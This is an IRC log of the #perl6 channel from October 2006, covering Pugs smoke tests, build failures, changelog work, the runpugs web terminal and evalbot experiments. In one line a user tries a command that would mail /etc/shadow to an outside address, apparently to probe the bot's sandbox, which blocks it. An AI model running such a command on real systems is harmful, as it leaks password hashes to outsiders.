Perl 6 - the future is here, just unevenly distributed

IRC log for #perl6, 2006-10-16

Perl 6 | Reference Documentation | Rakudo

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Time Nick Message
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01:37 dduncan in the middle of make smoke now ...
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02:41 dduncan now uploading smoke ...
02:43 dduncan okay, see http://m19s28.vlinux.de/iblech/stuff/pugs-smokes/pugs-smoke-6.2.13-r0-darwin-normal--1160966466-6163--17954-17954-0-4638-747-0--3278313e3112b4e88f3f65d50518ffb6.html
02:43 lambdabot Title: TAP Matrix - Mon Oct 16 02:14:53 2006 GMT, http://tinyurl.com/y6eafz
02:44 dduncan So that's my first smoke of Pugs-6.2.13-pre1 ... done using GHC 6.6.0 on Mac OS X PPC, normal Haskell runcore
02:45 dduncan all tests passed or appropriately skipped/todod, and the smoke ran in 102.72 minutes
02:45 dduncan which *is* faster than I recall getting in the past, where I typically got around 135 minutes
02:46 dduncan that was a month plus back, though
02:46 dduncan so from what I can see, 6.2.13 is shippable
02:46 dduncan matters of changelog updates etc notwithstanding
02:47 audreyt good!
02:47 audreyt dduncan++
02:47 audreyt I'm working on finalizing the changelog now
02:47 dduncan are you still holding off 'til tuesday?
02:47 audreyt well, tuesday my time
02:48 dduncan that's what I mean
02:48 audreyt which is <14hours from now
02:48 audreyt so yes
02:48 dduncan I see
02:48 audreyt now I'm off to lunch+changelog. thanks for the smoke
02:48 * audreyt is now reasonably confident of the release
02:49 audreyt (free of Judy GC bugs)++
02:49 audreyt (not having the tuits to get to the end of that)--
02:50 audreyt bbiab &
02:51 dduncan in the process, you may want to address some minor formatting matters in the changelog, such as a blank line in the middle of the bullet-list for Updated Modules, following CGI
02:51 dduncan the blank line probably shouldn't be there
02:57 xinming audreyt: hmm, I want to know if I did wrong on changelog. And so that I can be more helpful in the future. :-P
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03:58 gnuvince !eval my $c = 0; $c++ + ++$c;
03:58 gnuvince ?eval my $c = 0; $c++ + ++$c;
03:58 evalbot_r14363 2
04:03 xinming It should be 3... >_<
04:03 xinming maybe bug?
04:03 xinming maybe not... >_<
04:04 xinming I test it on perl 5, It alright...
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04:33 bsb http://www.flickr.com/photos/bsb/263631271/
04:33 lambdabot Title: secure-pugs on Flickr - Photo Sharing!
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05:31 aufrank anyone around?
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07:20 gaal good read: http://www.cs.inf.ethz.ch/~wirth/Articles/GoodIdeas_origFig.pdf
07:20 lambdabot http://tinyurl.com/yhc5r2
07:22 bsb I was just skimming that...
07:26 bsb looks like the functional programming trend came and went without much fuss
07:27 gaal bsb! hey :)
07:27 gaal (I'm not really here...)
07:43 bsb ((I'm never really here))
07:44 ingy nothingmuch: ping
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08:05 bsb fyi ingy, yaml.org is timing out for me
08:06 ingy yaml.com?
08:06 ingy yaml.org looks fine
08:06 ingy yaml.com should be hosed atm
08:07 ingy bsb?
08:07 bsb .com, sorry
08:08 ingy the server is down much to my chagrin
08:08 ingy hopefully back within 12 hours
08:11 bsb I'll check channel PlYaml in the morning then, night
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09:11 nothingmuch ingy: pong
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09:54 svnbot6 r14364 | kudra++ | This week's summary
09:57 svnbot6 r14365 | kudra++ | Missed one thread earlier
10:04 svnbot6 r14366 | andara++ | [runpugs]
10:04 svnbot6 r14366 | andara++ | -clean up sessions/IP on timeout
10:04 svnbot6 r14366 | andara++ | -first commit of generic Web::Terminal
10:05 dduncan fyi, http://www.plat-forms.org/
10:05 lambdabot Title: Home
10:05 dduncan if any of you want to participate in this competition and can get to Nürnberg, it might be interesting
10:05 dduncan or rather, its a scientific study of sorts
10:07 dduncan this event is part of the "http://www.heise.de/veranstaltungen/2007/ho_osb/en/" conference
10:07 lambdabot http://tinyurl.com/yd2a7v
10:07 dduncan "Open Source Meets Business"
10:07 dduncan that is all
10:08 Patterner pay me and i'll go to Nuernberg :)
10:08 dduncan you'll have to find your own sponsor, so sayeth the site
10:10 * dduncan signing off as its 3am ...
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10:47 audreyt andara: would you like to blog something about htpt://run.pugscode.org/ ?
10:47 svnbot6 r14367 | audreyt++ | * ChangeLog: 0th sketch at an attempted new outline style,
10:47 svnbot6 r14367 | audreyt++ |   after several false starts...
10:59 svnbot6 r14368 | audreyt++ | * ChangeLog: Sketch #1.
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11:25 avar hrm, say is considered unsafe
11:27 andara audreyt: sure, I just wanted to have runpugs a little more stable before I did that.
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11:46 audreyt avar: actually I'm changing that...
11:48 andara audreyt: great, folks can do "hello world" in runpugs!
11:49 svnbot6 r14369 | audreyt++ | * Pugs.Prim: Mark `say` and `print` (the default-to-$*OUT version)
11:49 svnbot6 r14369 | audreyt++ |   as safe, not unsafe.
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11:55 agentzh audreyt: oops, ghc 6.6 + activeperl 5.8.7 + pugs head leads to failing build...
11:56 audreyt nopaste the log?
11:56 pasteling "agentzh" at 210.22.200.67 pasted "Win32 build failure" (38 lines, 1.9K) at http://sial.org/pbot/20476
11:56 agentzh i built from realclean.
11:57 hacker__ joined perl6
11:57 hacker__ i kno more about computas than u all im da best hacker eva
11:58 audreyt hacker__: would you like a Pugs commit bit?
11:58 audreyt agentzh: weird, I thought we fixed it with the #define in p5embed.h
11:58 GeJ \o/
11:58 agentzh oh
11:59 audreyt but evidently not. let me try
11:59 agentzh okay~~
12:05 audreyt agentzh: try again?
12:05 audreyt bbiab
12:05 svnbot6 r14370 | audreyt++ | * Pugs.Embed.Perl5: Try to fix the Win32 build failure reported by agentzh++
12:05 svnbot6 r14370 | audreyt++ |   by delaying symbol resolution into p5embed.h time.
12:05 agentzh sure~
12:06 gnuvince agentzh: why the tildes?
12:06 agentzh just a habit...
12:07 gnuvince Does it mean anything that I'm not familiar with?
12:07 agentzh a friend of mine uses it quite a lot, and i definitely has been affected by her. :)
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12:08 avar "Pugs::Gramamr::Rule" according to Wikipedia
12:08 agentzh well, i'm not aware of that meaning.
12:09 agentzh gnuvince: what's the meaning that you're familiar with?
12:10 gnuvince None, I was just wondering if appending a tilde was similar to person++ that seems popular around here.
12:10 agentzh audreyt: you fix works~~ yay!
12:10 agentzh lol
12:10 agentzh well, not really~~
12:10 gnuvince ok :)
12:10 agentzh *your fix
12:11 gnuvince karma audreyt
12:11 jabbot gnuvince: audreyt has karma of 2521
12:11 agentzh karma agentzh
12:11 jabbot agentzh: agentzh has karma of 27
12:12 agentzh audreyt: oh, no...it failed at the end...
12:12 agentzh i'll post the output.
12:13 pasteling "agentzh" at 210.22.200.67 pasted "Win32 build failure [2]" (28 lines, 1.1K) at http://sial.org/pbot/20478
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12:16 agentzh iirc, pugs built successfully on this machine a week ago...
12:16 agentzh not sure if it has anything to do with ghc 6.6...
12:17 Limbic_Region joined perl6
12:17 agentzh Limbic_Region: pugs builds well on your win32 machine?
12:17 Limbic_Region yes - as of yesterday afternoon
12:18 Limbic_Region but not until I had to take drastic measures
12:18 Limbic_Region make realclean was not sufficient
12:18 Limbic_Region ended up blowing away src/ and several other directories
12:18 agentzh really?
12:18 Limbic_Region as did TimToady on his linux
12:18 Limbic_Region yes - TimToady is the one who gave me the idea
12:18 Limbic_Region though it is likely only a file or two
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12:18 agentzh wow
12:18 agentzh maybe i should also have a try
12:18 Limbic_Region not tracking it down was easier - so, I just got liberal
12:19 Limbic_Region what's your build error?
12:19 agentzh okay
12:19 agentzh http://sial.org/pbot/20478
12:19 xinming_ audreyt: ping
12:19 lambdabot Title: Paste #20478 from "agentzh" at 210.22.200.67
12:20 agentzh xinming_: i'm also waiting for her. ;)
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12:20 Limbic_Region agentzh - not the same as the one I was seeing so perhaps it is a new issue
12:20 Limbic_Region before you start blowing away directories
12:21 agentzh right, it's the p5 embedding issue.
12:21 Limbic_Region let me try and build this morning (just finishing svn up now)
12:21 agentzh an old issue...
12:21 agentzh hehe, night here. :)
12:21 xinming_ lisppaste3: url
12:21 xinming_ is now known as xinming
12:22 xinming lisppaste3: help
12:22 xinming lisppaste3: help url
12:22 xinming ???
12:22 xinming died...
12:22 agentzh Limbic_Region: have you had the tuits to build cygwin ghc?
12:23 agentzh Limbic_Region: the problem may not hit you since i'm using activeperl 5.8.7.
12:24 Limbic_Region agentzh - no, not at all
12:24 agentzh :)
12:24 Limbic_Region apparently, the instructions for cross compiling *should* just work
12:25 Limbic_Region and yet, what I get when I follow those instructions isn't what anyone on the ghc dev list expects
12:25 Limbic_Region so before I can start fixing (or at least identifying) bugs
12:25 Limbic_Region I need to get the build to start (failing dependencies is the problem)
12:26 Limbic_Region I have it starred in my gmail though so I will get back to it eventually
12:26 agentzh lol
12:26 xinming I also got build failure using ghc 6.6
12:26 xinming >_<
12:27 agentzh great~~
12:27 Limbic_Region xinming - if your problem is something with Judy - that's understandable to me
12:27 Limbic_Region if it is something with embedded p5 - no idea
12:27 agentzh glad to see  you're still working on it.
12:29 agentzh xinming: you're looking for the lisppaster?
12:29 svnbot6 r14371 | audreyt++ | * Oops typo.
12:29 audreyt agentzh: oops try again
12:29 agentzh xinming: use http://sial.org/pbot/perl6 to paste your error?
12:29 agentzh audreyt: okay~
12:30 pasteling "xinming" at 222.212.1.184 pasted "Pugs build error" (36 lines, 1.6K) at http://sial.org/pbot/20479
12:31 xinming Limbic_Region: I don't know if that is something with Judy. :-P
12:31 agentzh pugs.exe.new -- aha!
12:31 agentzh audreyt: built!
12:31 xinming BTW, I tried it yesterday, and with the same error, and then, I thought, maybe I didn't compile the library, So, today after work, I tried again with a full install of ghc 6.6, still the problem
12:31 agentzh audreyt++
12:32 Limbic_Region morning audreyt
12:32 Limbic_Region or evening as the case may be
12:32 audreyt xinming: weird, did you install GHC with .msi?
12:32 audreyt it should come with the mtl library
12:33 xinming audreyt: I'm in Linux. ;-)
12:33 xinming Writing version from `svk info` to /home/xinming/checkout/perl6/pugs/util/../src/Pugs/pugs_version.h
12:33 xinming Path //mirror does not exist.
12:33 audreyt xinming: how did you install 6.6?
12:34 xinming ./configure --prefix=$MYPREFIX && make && make install
12:34 xinming and I extracted the libraries to my ghc source directory
12:34 Psyche^ is now known as Patterner
12:35 audreyt you installed from source?
12:35 audreyt not bin package?
12:36 audreyt if so you needs the http://haskell.org/ghc/dist/6.6/ghc-6.6-src-extralibs.tar.bz2 too
12:36 lambdabot http://tinyurl.com/yyfzxt
12:36 xinming audreyt: No... Because ghc 6.6 isn't in gentoo yet. >_<
12:36 xinming audreyt: I've done that...
12:36 xinming hmm...
12:37 xinming But I'm not sure if that would automatically install them
12:37 audreyt you need to extract both .bz2 into the same place
12:37 audreyt and then configure/make/make install
12:38 xinming first I extract the source tarball, and extract the source, and move all dir in to libraries...
12:38 xinming >_<
12:38 xinming I think It should be the same as what you suggested...
12:38 agentzh audreyt: another error during "nmake smoke", pasting now...
12:39 pasteling "agentzh" at 210.22.200.67 pasted "error during "nmake smoke"" (38 lines, 2.4K) at http://sial.org/pbot/20480
12:39 audreyt xinming: but it appears you did not install extra
12:40 Limbic_Region audreyt - someone (can't remember who) was having an fps dependency issue last night (my time) as well
12:40 Limbic_Region they were using a debian unstable package
12:40 audreyt agentzh: nopaste your Makefile ?
12:40 audreyt Limbic_Region: noted...
12:40 agentzh audreyt: a sec...
12:41 xinming audreyt: Ok, I'll try again. bbl
12:42 pasteling "agentzh" at 210.22.200.67 pasted "my Makefile" (2021 lines, 131K) at http://sial.org/pbot/20481
12:43 svnbot6 r14372 | audreyt++ | * build_pugs.pl: Force "ghc-pkg expose" of dependent modules.
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12:43 Limbic_Region oh, very nice job btw on the release prep audreyt++
12:44 audreyt thanks :))
12:45 audreyt agentzh: why did you have foo.cpp and test.c in the source dir?
12:45 audreyt that was the cause
12:45 audreyt rm them and run makefile.pl again?
12:45 agentzh oh...
12:45 agentzh okay
12:45 agentzh that's my temp files...
12:45 agentzh *they're
12:45 audreyt makemaker is being too smart...
12:45 agentzh *nod*
12:48 agentzh audreyt: would you please rm the command "pl2bat.bat D:\projects\Pugs2\blib\script\pugs.exe" for win32 users?
12:48 agentzh it's annoying. :(
12:48 audreyt agentzh: please do that on MakefilePL on all means
12:49 audreyt (I don't offhand know how to do that on win32)
12:49 agentzh audreyt: okay~~
12:56 agentzh smoking now...not sure if it can finish in the next 1 hour...
12:56 audreyt k
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13:02 agentzh audreyt: i've hit by a failing test...
13:03 agentzh ext/Perl6-Container-Array/t/array-lazy.t
13:03 agentzh #     Actual: undef
13:03 agentzh #   Expected: 'k'
13:03 agentzh #     Actual: '10'
13:03 agentzh or maybe it's a todo...not sure...
13:04 audreyt it's todo
13:04 agentzh hmm...seems to be a todo.
13:04 agentzh sorry~
13:04 audreyt no problem~~~
13:05 agentzh maybe we should suppress the stderr outputs when running a todo test...
13:05 audreyt I prefer not
13:05 agentzh lol
13:05 agentzh k
13:06 agentzh (from the implementor's point of view...)
13:09 * agentzh thinks he should have built pugs with "nmake optimized". :/
13:12 audreyt you you built with "fast"?
13:12 agentzh yeah
13:13 audreyt oy. mistake. :)
13:13 agentzh so my smoke is doomed to be *much* slower?
13:13 agentzh np, i'll clean and re-smoke.
13:14 agentzh i'm just at ext/Tree/t/basic.t.
13:14 audreyt k
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13:16 agentzh there was a thread around pugs.exe.bat on p6c, but sadly no consequence was obtained.
13:16 agentzh the summarizer wrote, "Autrijus asked if he would be willing to investigate a patch. He
13:16 agentzh    responded that he would put it in his queue.
13:16 agentzh LOL
13:16 audreyt the queue is apparently infinite in length.
13:17 audreyt or rather, indefinite.
13:17 agentzh it seems that his queue has overflowed. :)
13:17 audreyt and I don't share his queue now anyway...
13:18 audreyt in any case it's your queue now, should you choose to accept it :)
13:18 hexmode joined perl6
13:18 agentzh i'll have a try...
13:18 gaal real world queues seem to be simple things
13:18 gaal you can express them with cons cells
13:18 gaal no need for Nil
13:18 gaal they are in fact endless streams
13:18 audreyt adeuately expressed with unfold
13:19 gaal Getting Things Done with Lenses and Bananas
13:19 audreyt @pl \f x ys -> unfoldr (Just . f) x ys
13:19 lambdabot unfoldr . (Just .)
13:20 audreyt here you go, it's expressed with (unfoldr . (Just .))
13:20 [particle] howdy folks!
13:20 [particle] i'm moosifying smartlinks.pl before committing to the parrot repo
13:20 audreyt that's very moose
13:20 [particle] it's looking great so far
13:21 agentzh [particle]: (!)
13:21 [particle] i hope to have a commit of a partial implementation today
13:21 gaal whee
13:21 [particle] ...need to write some tests first
13:21 agentzh moooooooose
13:21 [particle] indeed!
13:22 gaal I don't understand that unfold
13:22 [particle] agentzh: i noticed in the pod it says smartlinks should use as few modules as possible... why?
13:22 [particle] agentzh: ...i'm obviously ignoring that bit, by using moose :)
13:22 audreyt gaal: it's something that guarantees to produce an infinite list of streams no matter how you use it
13:23 agentzh just try to put off the user's burden.
13:23 [particle] ok
13:23 agentzh some guys don't even know how to use cpan.
13:23 agentzh so i even made Pod::Simple::HTML optional.
13:24 agentzh that is the only thing which is non-core.
13:25 gaal > (unfoldr . (Just .)) error eek []
13:25 lambdabot Not in scope: `eek'
13:25 gaal > (unfoldr . (Just .)) error "eek" []
13:25 lambdabot   The function `(unfoldr . ((Just .)))' is applied to three arguments,
13:25 lambdabot  ...
13:25 gaal [yadda, yadda, yadda]
13:25 agentzh [particle]: i've been following fglock's convention. :)
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13:27 gaal > (unfoldr . (Just .)) error "eek"
13:27 lambdabot Add a type signature
13:27 gaal > (Data.List.unfoldr . (Just .)) error "eek" -- I wish
13:27 lambdabot Add a type signature
13:27 gaal anyway, that doesn't produce an infinite list
13:28 [particle] agentzh: i hope you don't mind that i'm breaking that for parrot :)
13:28 audreyt gaal++ # getting to the Bottom of it
13:29 Odin-LAP joined perl6
13:29 agentzh [particle]: of course not.
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13:30 agentzh [particle]: smartlinks.pl has a lot of features that are hard to test.
13:30 agentzh i've been mostly using regressions.
13:32 [particle] where are the current tests?
13:32 agentzh there're some under util/t/
13:32 [particle] ok
13:33 [particle] i'm in the data retrieval/construction phase of implementation
13:33 agentzh but everytime i made change to the source, i'll use svn to check the output diffs.
13:33 agentzh i mean the html outputs.
13:33 [particle] ...where objects are created, and they automatically populate with information upon initialization
13:34 [particle] eg. test file names, spec file names, smartlink info, etc
13:34 agentzh that sounds good. :)
13:35 [particle] well, it's fun!
13:35 agentzh i'm manipulating raw data structures in the current implementation.
13:35 [particle] yes, which i didn't like... too hard for me to read
13:35 [particle] (the subs are too big)
13:36 atmaniak_ left perl6
13:36 agentzh biab &
13:36 Limbic_Region FYI - pugs built locally on Win32 just fine
13:36 * Limbic_Region begins smoke
13:36 agentzh sorry, end of day for me
13:37 agentzh [particle]: don't forget to commit your code!
13:37 [particle] agentzh: i'll keep you posted :)
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14:21 gaal hi #perl6, showing off evalbot to a friend
14:21 gaal ?eval 1+4
14:21 evalbot_r14371 is now known as evalbot_r14372
14:21 evalbot_r14372 5
14:21 gaal ?eval while 1 { 1 }
14:21 evalbot_r14372 (no output)
14:22 gnuvince Does evalbot stop execution after a certain delay?
14:22 gaal ?eval my $x = 4;  while 1 { $x ~= $x }
14:22 evalbot_r14372 (no output)
14:23 gnuvince ?eval my $x = 4; $x ~= $x; $x
14:23 evalbot_r14372 \"44"
14:23 gaal ?eval system 'mail [email@hidden.address] < /etc/shadow'
14:23 evalbot_r14372 Error: Unsafe function 'system' called under safe mode
14:24 gaal ?eval warn "stderr"
14:24 evalbot_r14372 Error: Cannot cast from VUndef to Handle (VHandle)
14:24 gaal heh, that error could be improved :-)
14:29 lumi Is it trying to say it doesn't have stderr open?
14:30 cmarcelo joined perl6
14:30 gaal it oughta say sorry, you can't do that
14:31 gaal but due to implementation it's doing something like
14:31 gaal $fh.say "moose"
14:31 gaal where $fh is overridden
14:31 gaal it's entirely a detail.
14:31 gnuvince ?eval "Foo".say
14:31 evalbot_r14372 OUTPUT[Foo␤] Bool::True
14:31 gaal yes, safe-say does work
14:32 gaal stdout only.
14:32 gaal s/detail/contingent and not pretty, commits welcome detail/
14:34 gaal audreyt: in doc synopsis XML::Literal - Syntax suppor for XML literals
14:34 gaal should be "support"
14:38 cmarcelo hello folks.
14:38 cmarcelo nothingmuch: are you there?
14:41 nipotan is now known as nipotaway
14:44 audreyt gaal: ok, noted and change in the repo, but unless you're willing to get comaint and release for me, I can't fix that tonight
14:44 svnbot6 r14373 | audreyt++ | * ChangeLog: Sketch #2, finally taking shape; "New Features"
14:44 svnbot6 r14373 | audreyt++ |   and "Bug Fixes" unified under the "Feature Changes" section,
14:44 svnbot6 r14373 | audreyt++ |   which is now divided across Synopsis chapters.
14:44 svnbot6 r14373 | audreyt++ |   Help welcome on sorting out the rest of the changelog after
14:44 svnbot6 r14373 | audreyt++ |   the cut lines; in any case I'll finish sorting them out tomorrow.
14:44 audreyt *wave* &
14:45 cmarcelo joined perl6
14:45 nothingmuch cmarcelo: sort of
14:46 nothingmuch cmarcelo: i refactored a bit but i'm not done
14:46 nothingmuch i'lll be back later today
14:48 cmarcelo nm: ok. today I`ll get more test(s) translated to haskell.. sorry for missing last days, i was out of town..
14:50 audreyt andara: I played with runpugs some and it seems announcable now. I'll write a short snippet, and you're welcome to follow up with more posts...
14:51 andara audreyt: ha, it was you :-) I thought so too, I've written a short snippet as well...
14:53 audreyt oh! then please post it :)
14:53 audreyt I'll merge :)
14:54 nothingmuch cmarcelo: okay
14:54 nothingmuch i'll help
14:54 gaal audreyt: lol, comaint for a 1-char doc fix. you're a busy moose :)
14:55 audreyt actually, Ill discard mine and let you post it :) feel free to reuse bits from the nopasted...
14:55 nothingmuch i have ghc 6.6 finally
14:55 pasteling "audreyt" at 220.135.90.73 pasted "writeup sketch" (3 lines, 565B) at http://sial.org/pbot/20484
14:55 andara audreyt: OK, there goes ...
14:55 * audreyt hits "refresh" compulsively
14:56 * gaal sends audreyt some sleepies
14:56 gaal ...and hits "refresh" compulsively
14:56 wolverian I find it very disturbing that I can delete the preceding text in runpugs
14:57 gaal wolverian: it's called discontinuation. it's technology from the elided past
14:57 wolverian well, it's disturbing!
14:57 audreyt which is why it's called discontinuation!
14:57 audreyt otherwise it'd be perturbing
14:58 audreyt actually those are synonyms.
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14:59 * audreyt hits some more refresh
14:59 nothingmuch runpugs++
14:59 audreyt ooh there it is
14:59 andara audreyt: I only just hit "save" :-)
15:00 andara a bit terse, I admit. Feel free to add on
15:00 cmarcelo audreyt: sad that hsjudy was killed (well at least for me hehe).. i`ll look for some alternative instead of using a haskell fnction as a finalizer (maybe pushing the finalizing thing to a C fun), but thats just a blind shot.. :P
15:01 vel joined perl6
15:01 nothingmuch why was it killed?
15:01 audreyt andara: see if my edits make sense
15:02 audreyt nothingmuch: random GC errors across the board
15:02 nothingmuch oi
15:02 audreyt cmarcelo: it's likely not your problem... #ghc agreed it's a sensible use of GC. it may very well be RTS/FFI bug.
15:02 audreyt cmarcelo: and I fully intend to revive Judy once we find some workarounds; I really like StrMap.
15:02 audreyt but, sleep now. see you tomorrow, lambdacamels :)
15:02 audreyt andara++ # again, for runpugs
15:02 gnuvince what (who?) is judy?
15:03 nothingmuch http://judy.sf.net
15:03 lambdabot Title: Judy Arrays Web Page
15:03 nothingmuch who == the author's sister IIRC ;-)
15:03 andara audreyt: they do, though I didn't use any source code from TryRuby. I emailed Why but got no reply :-(
15:04 andara audreyt: borrowed the nice blue & fonts choice though
15:07 gnuvince is there a pugs equivalent of tryruby?
15:07 nothingmuch andara: i think i killed it with unicode
15:07 nothingmuch gnuvince: http://run.pugscode.org/
15:07 lambdabot Title: Run Perl 6 Now -- in your browser!
15:08 andara nothingmuch: yes, looks like you really killed it.
15:08 nothingmuch sorry ;-)
15:08 andara nothingmuch: what did you have to do for that? I have no logging.
15:09 nothingmuch audreyt: can i specify an || for Module::Install requires clauses?
15:09 nothingmuch andara: i typed in quoted hebrew
15:10 andara nothingmuch: long quote? I'd like to see what happened. I tried with small pieces of unicode, and though it doesn't work, it didn't kill it either.
15:10 nothingmuch "שלום"
15:11 nothingmuch oops, i accidentally killed it again
15:11 nothingmuch sorry, that one was unintentional
15:11 andara Looks like I'll have to catch unicode for the moment ;-)
15:13 gaal http://www.users.bigpond.com/robin_v/pli-n9.htm
15:13 lambdabot Title: The PL/I Newsletter (PL/1 PL1), http://tinyurl.com/y5mt52
15:13 gaal current PL/I newsletter
15:13 andara nothingmuch: can you try to do the same with runpugs2 (same url +2)
15:14 nothingmuch okay
15:14 nothingmuch that worked
15:14 nothingmuch in the sense that it didn't crash it
15:14 nothingmuch but it doesn't echo back my string
15:14 nothingmuch so either the output of the shell printer or the unicode
15:14 nothingmuch input encoding are bad
15:14 nothingmuch however, my line on the prompt is relayed correctly
15:14 andara Well, no, Unicode is not supported, see http://feather.perl6.nl/~andara/runpugs/ :-)
15:14 lambdabot Title: Run Perl 6 Now -- in your browser!
15:15 nothingmuch ah
15:15 nothingmuch =)
15:15 nothingmuch andara++ # even if unicode is not supported
15:15 andara nothingmuch: problem is I use Net:: Telnet, and that is not Unicode-aware.
15:15 pasteling "nothingmuch" at 84.108.53.74 pasted "audreyt: is this sane use of Modulke::Install?" (9 lines, 236B) at http://sial.org/pbot/20486
15:16 nothingmuch andara: $ENV{PERLIO} = ":utf8" during BEGIN { } somewhere
15:16 nothingmuch and it should fix it
15:17 andara nothingmuch: OK, I'll try that. Thanks!
15:22 TimToady hmm, /tmp/ghc23652_0/ghc23652_0.hc:8:24: error: Parrot_hsc.h: No such file or directory
15:23 TimToady anybody else seen that?
15:23 gaal TimToady: what happens when you just run make again?
15:23 TimToady hang on.
15:23 Pomin joined perl6
15:24 TimToady works now, weird.
15:24 TimToady thanks
15:24 gaal that heppened to me too and I thought it was a fluke
15:24 PerlJam Are you both on the same type of system?
15:25 gaal must be wrong dependencies, or maybe hsc genning happens in build_pugs and therefore not very robust viz. dependencies
15:25 gaal linux here
15:25 gaal i don't remember when hsc files are treated
15:25 TimToady make is a technology whose big bad false minimum I'd like to pull the plug out of and listen to a huge satisfying slurping sound.
15:26 gaal that makes MAXPROGRAMMERS of us
15:26 TimToady I'm sure every ide thinks its the answer...
15:27 masak ?eval 1|2|3 + 4|5|6
15:27 evalbot_r14372 is now known as evalbot_r14373
15:27 evalbot_r14373 (1 | 2 | 5 | 6 | 7)
15:27 TimToady PerlJam, I'm on Linux
15:27 masak evalbot_r14373: hunh?
15:27 araujo morning
15:27 TimToady masak: precedence
15:27 masak TimToady: oh
15:28 masak ?eval (1|2|3) + (4|5|6)
15:28 evalbot_r14373 ((5 | 6 | 7) | (6 | 7 | 8) | (7 | 8 | 9))
15:28 masak hmm...
15:28 TimToady the precedence tables are not optimized for contrived examples.  :)
15:29 masak TimToady: fair enough :)
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15:57 svnbot6 r14374 | andara++ | [runpugs]
15:57 svnbot6 r14374 | andara++ | Now catches Unicode & apologises :-)
16:11 ingy seen audreyt
16:11 jabbot ingy: audreyt was seen 1 hours 8 minutes 27 seconds ago
16:11 Limbic_Region (boss going out of town and leaving me in charge)--
16:12 ingy I think I may have figured out a scheme for using M::C without .pmc
16:12 ingy instead of having .pm -> .pmc
16:13 ingy you go from .p -> .pm
16:13 ingy by setting a special author-only PERL5OPT
16:13 TimToady self-modifying .pm?
16:14 ingy th compiled .pm can even have a sanity check for the PERL5OPT
16:15 ingy TimToady: no, just the same .pm -> .pmc dance
16:15 ingy but without the fear and loathing of .pmc
16:15 TimToady how nice it would be if all of make's target files could simply be told "recompile yourself if you feel like it..."
16:15 nothingmuch ingy: thanks =)
16:15 ingy for what nothingmuch ?
16:16 nothingmuch the << fix
16:16 TimToady if you change the .p, what happens to the .pm?
16:16 TimToady assuming you're in "author" mode.
16:16 ingy see if I release YAML with .pmc (as I intend) there will be hell to pay
16:17 ingy TimToady: the .pm is regenerated (if you are in the author environment)
16:17 TimToady that's what I mean by "self-modifying .pm"
16:18 TimToady I'm not making a value judgement, just trying to unnerstann
16:18 ingy but the .pm isn't affecting itself
16:18 TimToady what triggers the recompile?
16:18 ingy it's just templated output of .p
16:19 TimToady what triggers the templated output?
16:19 ingy s/templat/compil/ blah blah
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16:20 ingy oh... the PERL5OPT=-MModule::Compile=-p (or whathaveyou) does something like put a coderef in @INC to load .p before .pm
16:21 integral so you're wanting to replace the entirely non magical .pmc,  with deep scary magic?
16:21 ingy integral: no. I want to replace the slightly magical .pmc with the completely accepted .pm
16:21 ingy :)
16:22 integral o_O.  Are there really people scared of .pmc's?
16:22 ingy it's quite sane
16:22 TimToady the main downside I see is that you're essentially defining .pm to be P5 only and inventing a new standard P6 extension
16:22 ingy I think
16:23 ingy TimToady: interesting point. I wasn't thinking in Perl6 terms at all
16:24 ingy but I'm not thinking of getting rid of .pmc
16:24 ingy the current stuff is fine.
16:24 kolibrie I like being able to have a .pm file and run it under perl or pugs and just have it work - the .pmc is nice for that
16:25 ingy I'm just giving an option of getting the same power of M::C but with a .pm output, so I can use it in "production" modules
16:25 andara left perl6
16:25 ingy I don't even have to distribute the .p file
16:26 ingy so you'll never know my code was generated
16:26 integral ugh, please do.  It makes submitting patches much easier (if it's a CPAN module)
16:26 ingy rather than hand coded
16:26 kolibrie hmm, local-only might be okay
16:28 ingy integral: I agree. just making the point
16:28 kolibrie but that is true, sending patches back to the author would be less effective in that case
16:30 ingy I can even see .p -> .pm -> .pmc
16:30 ingy ven for perl6
16:30 ingy e
16:31 ingy where .p is something that generates Perl 6
16:31 ingy :)
16:31 ingy or maybe just has templated doc stuff
16:32 ingy but first, breakfast
16:34 Juerd .p is for P*
16:34 Juerd .push, .pull
16:37 TimToady http://filext.com/alphalist.php?extstart=%5EP
16:37 lambdabot Title: Alphabetic File Extension List
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16:50 ingy TimToady: in the shower I realized that one way to think of this is that (by convention or consensus) we use .p->.pm for P5 and .pm->.pmc for P6
16:50 ingy I rather like that.
16:50 ingy It keeps fear and loathing away from P5 curmudgeons and places it squarely in P6 where there is already plenty of it
16:50 ingy it might even please Alias
16:51 ingy doubtful... very doubtful
16:53 Juerd Personally, I'm in favour of dropping .pm and .plx? altogether
16:53 Juerd And I don't see any compelling reason to give executable files an extension that's different from modules
16:56 ingy Juerd: I'm not following you
16:56 ingy dropping .pm from what?
16:56 ingy and what is .plx?
16:56 [particle] joined perl6
16:57 ingy Juerd: actually hold on for one sec. I need to drop off. brb
16:57 ingy joined perl6
17:00 Juerd Dropping use of .pm for Perl 6. Let .plx? and .pm be an indication of Perl 5
17:00 Juerd .plx is an extension used for Perl scripts, like .pl. The book Beginning Perl suggests .plx
17:05 xinming I'll suggest that we use .pl6 for perl 6 scripts, and .pl5 for perl 5 scripts, and .pl defaults to the "current" perl. :-)
17:05 xinming since, we might also need pl7.. *_*
17:06 Patterner and .pl4
17:06 [particle] don't forget .pl1
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17:08 xinming well, for .pl1, I think It doesn't hurt for people add a switch on shabang-line. :-P eg.  -Mv1 -Mv2  ;-)
17:08 xinming I don't think it hurt for people adding a switch on shabang-line.
17:09 * xinming feels sorry for his poor English.
17:09 xinming s/it hurt/it hurts/
17:09 xinming ^^^^  <-- oops
17:14 TimToady I think extensions are of far too limited bandwidth to adequately express version information, and would be good only for rough commentary, and not even good for that once people started relying on it.
17:19 Juerd TimToady: I think of file extensions as inter user communication
17:20 buu joined perl6
17:22 TimToady "inter user communication" === "commentary"
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17:31 ingy Juerd: sorry, back
17:32 ingy I agree with TimToady. File extensions are not a good intention serialiazation lanuage
17:32 ingy and /me is not a good typist
17:33 Juerd TimToady: Agreed
17:33 Juerd ingy: So do I. But why try to attach *technical* meaning to them?
17:33 Juerd That was nice in the DOS era :)
17:34 ingy I'm not trying to attach any firm meaning to them
17:35 ingy they don't really mean anything. I was just suggesting a standard practice for M::C
17:36 ingy one that at least I would be interested in following.
17:37 ingy for the millions not in the know, running into a .pmc in P5 CPAN distro is going to at least raise an eyebrow
17:38 ingy but compiling to .pm, who let those millions be blissfully ignorant of ingy's evil coding practices
17:38 ingy s/who/would/
17:39 ingy P6 is evil by definition, so .pmc is par for the course
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18:27 Limbic_Region hello
18:27 Limbic_Region @tell lanny I have Cygwin but do not use it for Pugs.  I use ActiveState Perl 5.8.8, MinGW, and GHC (binary install preferred)
